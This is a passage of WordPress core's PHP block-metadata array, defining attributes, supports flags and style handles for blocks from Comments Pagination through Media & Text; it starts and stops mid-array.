'$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comments-pagination', 'title' => 'Comments Pagination', 'category' => 'theme', 'parent' => array( 'core/comments' ), 'description' => 'Displays a paginated navigation to next/previous set of comments, when applicable.', 'textdomain' => 'default', 'attributes' => array( 'paginationArrow' => array( 'type' => 'string', 'default' => 'none' ) ), 'providesContext' => array( 'comments/paginationArrow' => 'paginationArrow' ), 'supports' => array( 'align' => true, 'reusable' => false, 'html' => false, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'layout' => array( 'allowSwitching' => false, 'allowInheriting' => false, 'default' => array( 'type' => 'flex' ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ), 'editorStyle' => 'wp-block-comments-pagination-editor', 'style' => 'wp-block-comments-pagination' ), 'comments-pagination-next' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comments-pagination-next', 'title' => 'Comments Next Page', 'category' => 'theme', 'parent' => array( 'core/comments-pagination' ), 'description' => 'Displays the next comment\'s page link.', 'textdomain' => 'default', 'attributes' => array( 'label' => array( 'type' => 'string' ) ), 'usesContext' => array( 'postId', 'comments/paginationArrow' ), 'supports' => array( 'reusable' => false, 'html' => false, 'color' => array( 'gradients' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ) ), 'comments-pagination-numbers' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comments-pagination-numbers', 'title' => 'Comments Page Numbers', 'category' => 'theme', 'parent' => array( 'core/comments-pagination' ), 'description' => 'Displays a list of page numbers for comments pagination.', 'textdomain' => 'default', 'usesContext' => array( 'postId' ), 'supports' => array( 'reusable' => false, 'html' => false, 'color' => array( 'gradients' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ) ), 'comments-pagination-previous' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comments-pagination-previous', 'title' => 'Comments Previous Page', 'category' => 'theme', 'parent' => array( 'core/comments-pagination' ), 'description' => 'Displays the previous comment\'s page link.', 'textdomain' => 'default', 'attributes' => array( 'label' => array( 'type' => 'string' ) ), 'usesContext' => array( 'postId', 'comments/paginationArrow' ), 'supports' => array( 'reusable' => false, 'html' => false, 'color' => array( 'gradients' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ) ), 'comments-title' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comments-title', 'title' => 'Comments Title', 'category' => 'theme', 'ancestor' => array( 'core/comments' ), 'description' => 'Displays a title with the number of comments', 'textdomain' => 'default', 'usesContext' => array( 'postId', 'postType' ), 'attributes' => array( 'textAlign' => array( 'type' => 'string' ), 'showPostTitle' => array( 'type' => 'boolean', 'default' => true ), 'showCommentsCount' => array( 'type' => 'boolean', 'default' => true ), 'level' => array( 'type' => 'number', 'default' => 2 ) ), 'supports' => array( 'anchor' => false, 'align' => true, 'html' => false, '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ), 'color' => array( 'gradients' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true, '__experimentalFontFamily' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true ) ) ) ), 'cover' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/cover', 'title' => 'Cover', 'category' => 'media', 'description' => 'Add an image or video with a text overlay.', 'textdomain' => 'default', 'attributes' => array( 'url' => array( 'type' => 'string' ), 'useFeaturedImage' => array( 'type' => 'boolean', 'default' => false ), 'id' => array( 'type' => 'number' ), 'alt' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'img', 'attribute' => 'alt', 'default' => '' ), 'hasParallax' => array( 'type' => 'boolean', 'default' => false ), 'isRepeated' => array( 'type' => 'boolean', 'default' => false ), 'dimRatio' => array( 'type' => 'number', 'default' => 100 ), 'overlayColor' => array( 'type' => 'string' ), 'customOverlayColor' => array( 'type' => 'string' ), 'backgroundType' => array( 'type' => 'string', 'default' => 'image' ), 'focalPoint' => array( 'type' => 'object' ), 'minHeight' => array( 'type' => 'number' ), 'minHeightUnit' => array( 'type' => 'string' ), 'gradient' => array( 'type' => 'string' ), 'customGradient' => array( 'type' => 'string' ), 'contentPosition' => array( 'type' => 'string' ), 'isDark' => array( 'type' => 'boolean', 'default' => true ), 'allowedBlocks' => array( 'type' => 'array' ), 'templateLock' => array( 'type' => array( 'string', 'boolean' ), 'enum' => array( 'all', 'insert', 'contentOnly', false ) ), 'tagName' => array( 'type' => 'string', 'default' => 'div' ) ), 'usesContext' => array( 'postId', 'postType' ), 'supports' => array( 'anchor' => true, 'align' => true, 'html' => false, 'spacing' => array( 'padding' => true, 'margin' => array( 'top', 'bottom' ), 'blockGap' => true, '__experimentalDefaultControls' => array( 'padding' => true, 'blockGap' => true ) ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ) ), 'color' => array( '__experimentalDuotone' => '> .wp-block-cover__image-background, > .wp-block-cover__video-background', 'heading' => true, 'text' => true, 'background' => false, '__experimentalSkipSerialization' => array( 'gradients' ), 'enableContrastChecker' => false ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'layout' => array( 'allowJustification' => false ) ), 'editorStyle' => 'wp-block-cover-editor', 'style' => 'wp-block-cover' ), 'details' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/details', 'title' => 'Details', 'category' => 'text', 'description' => 'Hide and show additional content.', 'keywords' => array( 'accordion', 'summary', 'toggle', 'disclosure' ), 'textdomain' => 'default', 'attributes' => array( 'showContent' => array( 'type' => 'boolean', 'default' => false ), 'summary' => array( 'type' => 'string', 'source' => 'html', 'selector' => 'summary' ) ), 'supports' => array( 'align' => array( 'wide', 'full' ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), '__experimentalBorder' => array( 'color' => true, 'width' => true, 'style' => true ), 'html' => false, 'spacing' => array( 'margin' => true, 'padding' => true, 'blockGap' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'layout' => array( 'allowEditing' => false ) ), 'editorStyle' => 'wp-block-details-editor', 'style' => 'wp-block-details' ), 'embed' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/embed', 'title' => 'Embed', 'category' => 'embed', 'description' => 'Add a block that displays content pulled from other sites, like Twitter or YouTube.', 'textdomain' => 'default', 'attributes' => array( 'url' => array( 'type' => 'string', '__experimentalRole' => 'content' ), 'caption' => array( 'type' => 'string', 'source' => 'html', 'selector' => 'figcaption', '__experimentalRole' => 'content' ), 'type' => array( 'type' => 'string', '__experimentalRole' => 'content' ), 'providerNameSlug' => array( 'type' => 'string', '__experimentalRole' => 'content' ), 'allowResponsive' => array( 'type' => 'boolean', 'default' => true ), 'responsive' => array( 'type' => 'boolean', 'default' => false, '__experimentalRole' => 'content' ), 'previewable' => array( 'type' => 'boolean', 'default' => true, '__experimentalRole' => 'content' ) ), 'supports' => array( 'align' => true, 'spacing' => array( 'margin' => true ) ), 'editorStyle' => 'wp-block-embed-editor', 'style' => 'wp-block-embed' ), 'file' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/file', 'title' => 'File', 'category' => 'media', 'description' => 'Add a link to a downloadable file.', 'keywords' => array( 'document', 'pdf', 'download' ), 'textdomain' => 'default', 'attributes' => array( 'id' => array( 'type' => 'number' ), 'href' => array( 'type' => 'string' ), 'fileId' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'a:not([download])', 'attribute' => 'id' ), 'fileName' => array( 'type' => 'string', 'source' => 'html', 'selector' => 'a:not([download])' ), 'textLinkHref' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'a:not([download])', 'attribute' => 'href' ), 'textLinkTarget' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'a:not([download])', 'attribute' => 'target' ), 'showDownloadButton' => array( 'type' => 'boolean', 'default' => true ), 'downloadButtonText' => array( 'type' => 'string', 'source' => 'html', 'selector' => 'a[download]' ), 'displayPreview' => array( 'type' => 'boolean' ), 'previewHeight' => array( 'type' => 'number', 'default' => 600 ) ), 'supports' => array( 'anchor' => true, 'align' => true, 'spacing' => array( 'margin' => true, 'padding' => true ), 'color' => array( 'gradients' => true, 'link' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true, 'link' => true ) ), 'interactivity' => true ), 'viewScript' => 'file:./view.min.js', 'editorStyle' => 'wp-block-file-editor', 'style' => 'wp-block-file' ), 'footnotes' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/footnotes', 'title' => 'Footnotes', 'category' => 'text', 'description' => '', 'keywords' => array( 'references' ), 'textdomain' => 'default', 'usesContext' => array( 'postId', 'postType' ), 'supports' => array( '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => false, 'color' => false, 'width' => false, 'style' => false ) ), 'color' => array( 'background' => true, 'link' => true, 'text' => true, '__experimentalDefaultControls' => array( 'link' => true, 'text' => true ) ), 'html' => false, 'multiple' => false, 'reusable' => false, 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalTextDecoration' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalLetterSpacing' => true, '__experimentalTextTransform' => true, '__experimentalWritingMode' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ), 'style' => 'wp-block-footnotes' ), 'freeform' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/freeform', 'title' => 'Classic', 'category' => 'text', 'description' => 'Use the classic WordPress editor.', 'textdomain' => 'default', 'attributes' => array( 'content' => array( 'type' => 'string', 'source' => 'raw' ) ), 'supports' => array( 'className' => false, 'customClassName' => false, 'reusable' => false ), 'editorStyle' => 'wp-block-freeform-editor' ), 'gallery' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/gallery', 'title' => 'Gallery', 'category' => 'media', 'description' => 'Display multiple images in a rich gallery.', 'keywords' => array( 'images', 'photos' ), 'textdomain' => 'default', 'attributes' => array( 'images' => array( 'type' => 'array', 'default' => array( ), 'source' => 'query', 'selector' => '.blocks-gallery-item', 'query' => array( 'url' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'img', 'attribute' => 'src' ), 'fullUrl' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'img', 'attribute' => 'data-full-url' ), 'link' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'img', 'attribute' => 'data-link' ), 'alt' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'img', 'attribute' => 'alt', 'default' => '' ), 'id' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'img', 'attribute' => 'data-id' ), 'caption' => array( 'type' => 'string', 'source' => 'html', 'selector' => '.blocks-gallery-item__caption' ) ) ), 'ids' => array( 'type' => 'array', 'items' => array( 'type' => 'number' ), 'default' => array( ) ), 'shortCodeTransforms' => array( 'type' => 'array', 'items' => array( 'type' => 'object' ), 'default' => array( ) ), 'columns' => array( 'type' => 'number', 'minimum' => 1, 'maximum' => 8 ), 'caption' => array( 'type' => 'string', 'source' => 'html', 'selector' => '.blocks-gallery-caption' ), 'imageCrop' => array( 'type' => 'boolean', 'default' => true ), 'fixedHeight' => array( 'type' => 'boolean', 'default' => true ), 'linkTarget' => array( 'type' => 'string' ), 'linkTo' => array( 'type' => 'string' ), 'sizeSlug' => array( 'type' => 'string', 'default' => 'large' ), 'allowResize' => array( 'type' => 'boolean', 'default' => false ) ), 'providesContext' => array( 'allowResize' => 'allowResize', 'imageCrop' => 'imageCrop', 'fixedHeight' => 'fixedHeight' ), 'supports' => array( 'anchor' => true, 'align' => true, 'html' => false, 'units' => array( 'px', 'em', 'rem', 'vh', 'vw' ), 'spacing' => array( 'margin' => true, 'padding' => true, 'blockGap' => array( 'horizontal', 'vertical' ), '__experimentalSkipSerialization' => array( 'blockGap' ), '__experimentalDefaultControls' => array( 'blockGap' => true, 'margin' => false, 'padding' => false ) ), 'color' => array( 'text' => false, 'background' => true, 'gradients' => true ), 'layout' => array( 'allowSwitching' => false, 'allowInheriting' => false, 'allowEditing' => false, 'default' => array( 'type' => 'flex' ) ) ), 'editorStyle' => 'wp-block-gallery-editor', 'style' => 'wp-block-gallery' ), 'group' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/group', 'title' => 'Group', 'category' => 'design', 'description' => 'Gather blocks in a layout container.', 'keywords' => array( 'container', 'wrapper', 'row', 'section' ), 'textdomain' => 'default', 'attributes' => array( 'tagName' => array( 'type' => 'string', 'default' => 'div' ), 'templateLock' => array( 'type' => array( 'string', 'boolean' ), 'enum' => array( 'all', 'insert', 'contentOnly', false ) ), 'allowedBlocks' => array( 'type' => 'array' ) ), 'supports' => array( '__experimentalOnEnter' => true, '__experimentalOnMerge' => true, '__experimentalSettings' => true, '__experimentalMetadata' => true, 'align' => array( 'wide', 'full' ), 'anchor' => true, 'ariaLabel' => true, 'html' => false, 'background' => array( 'backgroundImage' => true ), 'color' => array( 'gradients' => true, 'heading' => true, 'button' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'margin' => array( 'top', 'bottom' ), 'padding' => true, 'blockGap' => true, '__experimentalDefaultControls' => array( 'padding' => true, 'blockGap' => true ) ), 'dimensions' => array( 'minHeight' => true ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ) ), 'position' => array( 'sticky' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'layout' => array( 'allowSizingOnChildren' => true ) ), 'editorStyle' => 'wp-block-group-editor', 'style' => 'wp-block-group' ), 'heading' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/heading', 'title' => 'Heading', 'category' => 'text', 'description' => 'Introduce new sections and organize content to help visitors (and search engines) understand the structure of your content.', 'keywords' => array( 'title', 'subtitle' ), 'textdomain' => 'default', 'attributes' => array( 'textAlign' => array( 'type' => 'string' ), 'content' => array( 'type' => 'string', 'source' => 'html', 'selector' => 'h1,h2,h3,h4,h5,h6', 'default' => '', '__experimentalRole' => 'content' ), 'level' => array( 'type' => 'number', 'default' => 2 ), 'placeholder' => array( 'type' => 'string' ) ), 'supports' => array( 'align' => array( 'wide', 'full' ), 'anchor' => true, 'className' => true, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalLetterSpacing' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalWritingMode' => true, '__experimentalDefaultControls' => array( 'fontSize' => true, 'fontAppearance' => true, 'textTransform' => true ) ), '__unstablePasteTextInline' => true, '__experimentalSlashInserter' => true ), 'editorStyle' => 'wp-block-heading-editor', 'style' => 'wp-block-heading' ), 'home-link' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/home-link', 'category' => 'design', 'parent' => array( 'core/navigation' ), 'title' => 'Home Link', 'description' => 'Create a link that always points to the homepage of the site. Usually not necessary if there is already a site title link present in the header.', 'textdomain' => 'default', 'attributes' => array( 'label' => array( 'type' => 'string' ) ), 'usesContext' => array( 'textColor', 'customTextColor', 'backgroundColor', 'customBackgroundColor', 'fontSize', 'customFontSize', 'style' ), 'supports' => array( 'reusable' => false, 'html' => false, 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ), 'editorStyle' => 'wp-block-home-link-editor', 'style' => 'wp-block-home-link' ), 'html' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/html', 'title' => 'Custom HTML', 'category' => 'widgets', 'description' => 'Add custom HTML code and preview it as you edit.', 'keywords' => array( 'embed' ), 'textdomain' => 'default', 'attributes' => array( 'content' => array( 'type' => 'string', 'source' => 'raw' ) ), 'supports' => array( 'customClassName' => false, 'className' => false, 'html' => false ), 'editorStyle' => 'wp-block-html-editor' ), 'image' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/image', 'title' => 'Image', 'category' => 'media', 'usesContext' => array( 'allowResize', 'imageCrop', 'fixedHeight' ), 'description' => 'Insert an image to make a visual statement.', 'keywords' => array( 'img', 'photo', 'picture' ), 'textdomain' => 'default', 'attributes' => array( 'align' => array( 'type' => 'string' ), 'url' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'img', 'attribute' => 'src', '__experimentalRole' => 'content' ), 'alt' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'img', 'attribute' => 'alt', 'default' => '', '__experimentalRole' => 'content' ), 'caption' => array( 'type' => 'string', 'source' => 'html', 'selector' => 'figcaption', '__experimentalRole' => 'content' ), 'lightbox' => array( 'type' => 'object', 'enabled' => array( 'type' => 'boolean' ) ), 'title' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'img', 'attribute' => 'title', '__experimentalRole' => 'content' ), 'href' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'figure > a', 'attribute' => 'href', '__experimentalRole' => 'content' ), 'rel' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'figure > a', 'attribute' => 'rel' ), 'linkClass' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'figure > a', 'attribute' => 'class' ), 'id' => array( 'type' => 'number', '__experimentalRole' => 'content' ), 'width' => array( 'type' => 'string' ), 'height' => array( 'type' => 'string' ), 'aspectRatio' => array( 'type' => 'string' ), 'scale' => array( 'type' => 'string' ), 'sizeSlug' => array( 'type' => 'string' ), 'linkDestination' => array( 'type' => 'string' ), 'linkTarget' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'figure > a', 'attribute' => 'target' ) ), 'supports' => array( 'anchor' => true, 'color' => array( 'text' => false, 'background' => false ), 'filter' => array( 'duotone' => true ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'width' => true, '__experimentalSkipSerialization' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'width' => true ) ) ), 'selectors' => array( 'border' => '.wp-block-image img, .wp-block-image .wp-block-image__crop-area, .wp-block-image .components-placeholder', 'filter' => array( 'duotone' => '.wp-block-image img, .wp-block-image .components-placeholder' ) ), 'styles' => array( array( 'name' => 'default', 'label' => 'Default', 'isDefault' => true ), array( 'name' => 'rounded', 'label' => 'Rounded' ) ), 'editorStyle' => 'wp-block-image-editor', 'style' => 'wp-block-image', 'viewScript' => 'file:./view.min.js' ), 'latest-comments' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/latest-comments', 'title' => 'Latest Comments', 'category' => 'widgets', 'description' => 'Display a list of your most recent comments.', 'keywords' => array( 'recent comments' ), 'textdomain' => 'default', 'attributes' => array( 'commentsToShow' => array( 'type' => 'number', 'default' => 5, 'minimum' => 1, 'maximum' => 100 ), 'displayAvatar' => array( 'type' => 'boolean', 'default' => true ), 'displayDate' => array( 'type' => 'boolean', 'default' => true ), 'displayExcerpt' => array( 'type' => 'boolean', 'default' => true ) ), 'supports' => array( 'align' => true, 'html' => false, 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ), 'editorStyle' => 'wp-block-latest-comments-editor', 'style' => 'wp-block-latest-comments' ), 'latest-posts' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/latest-posts', 'title' => 'Latest Posts', 'category' => 'widgets', 'description' => 'Display a list of your most recent posts.', 'keywords' => array( 'recent posts' ), 'textdomain' => 'default', 'attributes' => array( 'categories' => array( 'type' => 'array', 'items' => array( 'type' => 'object' ) ), 'selectedAuthor' => array( 'type' => 'number' ), 'postsToShow' => array( 'type' => 'number', 'default' => 5 ), 'displayPostContent' => array( 'type' => 'boolean', 'default' => false ), 'displayPostContentRadio' => array( 'type' => 'string', 'default' => 'excerpt' ), 'excerptLength' => array( 'type' => 'number', 'default' => 55 ), 'displayAuthor' => array( 'type' => 'boolean', 'default' => false ), 'displayPostDate' => array( 'type' => 'boolean', 'default' => false ), 'postLayout' => array( 'type' => 'string', 'default' => 'list' ), 'columns' => array( 'type' => 'number', 'default' => 3 ), 'order' => array( 'type' => 'string', 'default' => 'desc' ), 'orderBy' => array( 'type' => 'string', 'default' => 'date' ), 'displayFeaturedImage' => array( 'type' => 'boolean', 'default' => false ), 'featuredImageAlign' => array( 'type' => 'string', 'enum' => array( 'left', 'center', 'right' ) ), 'featuredImageSizeSlug' => array( 'type' => 'string', 'default' => 'thumbnail' ), 'featuredImageSizeWidth' => array( 'type' => 'number', 'default' => null ), 'featuredImageSizeHeight' => array( 'type' => 'number', 'default' => null ), 'addLinkToFeaturedImage' => array( 'type' => 'boolean', 'default' => false ) ), 'supports' => array( 'align' => true, 'html' => false, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ), 'editorStyle' => 'wp-block-latest-posts-editor', 'style' => 'wp-block-latest-posts' ), 'legacy-widget' => array( 'apiVersion' => 3, 'name' => 'core/legacy-widget', 'title' => 'Legacy Widget', 'category' => 'widgets', 'description' => 'Display a legacy widget.', 'textdomain' => 'default', 'attributes' => array( 'id' => array( 'type' => 'string', 'default' => null ), 'idBase' => array( 'type' => 'string', 'default' => null ), 'instance' => array( 'type' => 'object', 'default' => null ) ), 'supports' => array( 'html' => false, 'customClassName' => false, 'reusable' => false ), 'editorStyle' => 'wp-block-legacy-widget-editor' ), 'list' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/list', 'title' => 'List', 'category' => 'text', 'description' => 'Create a bulleted or numbered list.', 'keywords' => array( 'bullet list', 'ordered list', 'numbered list' ), 'textdomain' => 'default', 'attributes' => array( 'ordered' => array( 'type' => 'boolean', 'default' => false, '__experimentalRole' => 'content' ), 'values' => array( 'type' => 'string', 'source' => 'html', 'selector' => 'ol,ul', 'multiline' => 'li', '__unstableMultilineWrapperTags' => array( 'ol', 'ul' ), 'default' => '', '__experimentalRole' => 'content' ), 'type' => array( 'type' => 'string' ), 'start' => array( 'type' => 'number' ), 'reversed' => array( 'type' => 'boolean' ), 'placeholder' => array( 'type' => 'string' ) ), 'supports' => array( 'anchor' => true, 'className' => false, 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), '__unstablePasteTextInline' => true, '__experimentalSelector' => 'ol,ul', '__experimentalOnMerge' => true, '__experimentalSlashInserter' => true ), 'editorStyle' => 'wp-block-list-editor', 'style' => 'wp-block-list' ), 'list-item' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/list-item', 'title' => 'List item', 'category' => 'text', 'parent' => array( 'core/list' ), 'description' => 'Create a list item.', 'textdomain' => 'default', 'attributes' => array( 'placeholder' => array( 'type' => 'string' ), 'content' => array( 'type' => 'string', 'source' => 'html', 'selector' => 'li', 'default' => '', '__experimentalRole' => 'content' ) ), 'supports' => array( 'className' => false, '__experimentalSelector' => 'li', 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ) ), 'loginout' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/loginout', 'title' => 'Login/out', 'category' => 'theme', 'description' => 'Show login & logout links.', 'keywords' => array( 'login', 'logout', 'form' ), 'textdomain' => 'default', 'attributes' => array( 'displayLoginAsForm' => array( 'type' => 'boolean', 'default' => false ), 'redirectToCurrent' => array( 'type' => 'boolean', 'default' => true ) ), 'supports' => array( 'className' => true, 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ) ), 'media-text' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/media-text', 'title' => 'Media & Text', 'category' => 'media', 'description' => 'Set media and words side-by-side for a richer layout.', 'keywords' => array( 'image', 'video' ), 'textdomain' => 'default', 'attributes' => array( 'align' => array( 'type' => 'string', 'default' => 'none' ), 'mediaAlt' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'figure img', 'attribute' => 'alt', 'default' => '', '__experimentalRole' => 'content' ), 'mediaPosition' => array( 'type' => 'string', 'default' => 'left' ), 'mediaId' => array( 'type' => 'number', '__experimentalRole' => 'content' ), 'mediaUrl' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'figure video,figure img', 'attribute' => 'src', '__experimentalRole' => 'content' ), 'mediaLink' => array( 'type' => 'string' ), 'linkDestination' => array( 'type' => 'string' ), 'linkTarget' 